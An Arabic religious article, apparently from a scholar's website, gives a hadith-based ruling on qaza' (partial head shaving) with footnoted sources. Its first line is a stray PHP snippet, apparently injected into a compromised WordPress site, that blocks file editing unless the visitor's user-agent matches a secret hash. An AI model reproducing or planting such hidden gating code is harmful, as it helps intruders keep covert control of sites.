if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم القزع - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم القزع

والقزع: حلق بعض الرأس وترك بعضه، وأنواعه خمسة: ذكر العلامة ابن القيم رحمه الله أربعةً منها، وكنا نقرؤها في كلام ابن القيم ونستغرب ونقول سبحان الله، هل فيه أحد يفعل هذا حتى رأيناه رأي العين في هذا العصر في هذه السنين المتأخرة، ذكر رحمه الله منها حلق المقدم وترك المؤخر، أن يحلق مقدم رأسه ويترك مؤخره ولم يذكر عكسه مع أن عكسه هو الأكثر وهو الأشهر عندنا، أن يترك الإنسان شعر رأسه وجُمته في المقدمة ويحلق المؤخرة، هذا أكثر وجودًا لكن ابن القيم لم يذكره، ومنها التي ذكرها ابن القيم حلق الجوانب وترك الوسط، يحلق جوانب رأسه من الجهات الأربع ويترك الوسط وعكسه وهو حلق الوسط وترك الجوانب، ومنها حلقه من بعض الجوانب وترك البعض، يعني يحلق أجزاء ويترك أجزاء وهذا كله من التَقزُع وقد ورد النهي عن القزع، فعن نافع عن ابن عمر رضي الله عنهما: «أنَّ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ نَهَى عَنِ القَزَعِ، قالَ: قُلتُ لِنَافِعٍ وَما القَزَعُ قالَ: يُحْلَقُ بَعْضُ رَأْسِ الصَّبِيِّ وَيُتْرَكُ بَعْضٌ»[1] [رواه الإمام مسلم] وفي رواية أن التفسير من الحديث، ورواه الإمام أحمد بعدة ألفاظ منها: «نهى رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن القزَعِ ، والقزَعُ أن يَحلِقَ رأسَ الصبيِّ -لكنا نقول: الصبي أو الكبير-  ويتركَ بعضَ شعْرِه»[2] بل إذا ورد النهي في الصبي فالبالغ من باب أولى، ومنها: «أنَّ رسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ نَهَى عنِ القَزَعِ في الرَّأسِ»[3] وهذه الرواية تشمل الصبي وغيره، مع أنه نقول إذا نُهي الصبي فالرجل البالغ من باب أولى، قال النووي رحمه الله: القَزَع بفتح القاف والزاي، وهذا الذي فسّره به نافع أو عبدالله هو الأصح وهو أن القزع حلق بعض الرأس مطلقًا، ومنهم من قال هو حلق مواضع متفرقة منه، والصحيح الأول؛ لأنه تفسير الراوي وهو غير مخالفٌ للظاهر فوجب العمل به، وأجمع العلماء على كراهة القزع إلا أن يكون لمداواةٍ ونحوها.

حكم القَزَع: ذكر الإجماع على كراهته يعني لم يقل أحد من أهل العلم أنه مباح وجائز، لكن من أهل العلم من قال بالتحريم مطلقًا ومنهم من قيّد وعلّق التحريم على التشبه والظاهر من هذه النصوص أنها للتحريم إذ لا صارف لها حتى وإن قال الجمهور إنه للكراهة، نقول: هاتوا الصارف، ما عندنا صارف، النهي إذا أُطلق يفيد التحريم، لابد من صارف يصرف هذا النهي عن التحريم إلى الكراهة، أما إذا صاحبه تشبهٌ فهذا بالإجماع محرم، إذا تشبه صاحبه فهو محرمٌ وعلى خطر عظيم فقد ورد في الحديث: «من تشبَّهَ بقومٍ فَهوَ منهم»[4] إذن لا يخلو فاعل القزع من حالتين:

الأولى: أن يفعله تشبهًا بالكفار فهذا لا خلاف في تحريمه لحديث: «من تشبَّهَ بقومٍ فَهوَ منهم»، قال شيخ الإسلام: أقل أحوال هذا الحديث يقتضي التحريم وإن كـان ظاهـره يقتضي الكفر، نسأل الله السلامة والعافية فَهوَ منهم، فمن تشبه بالكفار ظاهر الحديث فهو منهم، من تشبه بالفُساق فهو منهم، من تشبه بالصالحين المؤمنين المتقين فهو منهم.

الثانية: أن يفعله بدون قصدٍ، فهذا محل خلاف هل يحرُم أو يُكره والظاهر تحريمه؛ لعدم الصارف للنهي عن التحريم للكراهة؛ ولأن التشبه لا يحتاج إلى نية وقصد بل متى كان هذا القزع شعارًا للكفار والفساق حرُم فعله؛ لأن ذلك يتضمن التشبه بهم وإن لم يقصده، نقول: التشبه ما يحتاج نية ولهذا ما اشتهر أنه خاص بالكفار من ألبسة أو قصات ونحوها، نقول: هذا كافٍ، من فعله فقد وقع في الحرام والتشبه، إن قال أنا ما قصدت التشبه، نقول ما يلزم، إن كان هذا من زي الكفار وفعلته فقد تشبهت بهم وإن لم تقصد.

ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم في صحيحه (2120) وأخرجه البخاري (5920) باختلاف يسير.

[2] أخرجه البخاري (5920)، ومسلم (2120)، وأبو داود (4193)، والنسائي (5051)، وابن ماجه (3637)، وأحمد (6212) واللفظ له.

[3] أخرجه البخاري (5920)، ومسلم (2120)، وأبو داود (4193)، والنسائي (5230)، وابن ماجه (3638)، وأحمد (5356) واللفظ له.

[4] أخرجه أبو داود (4031) واللفظ له، وأحمد (5114) مطولًا، وحسّن إسناده ابن حجر العسقلاني في فتح الباري (10/282)، وصححه الألباني في صحيح الجامع (6149).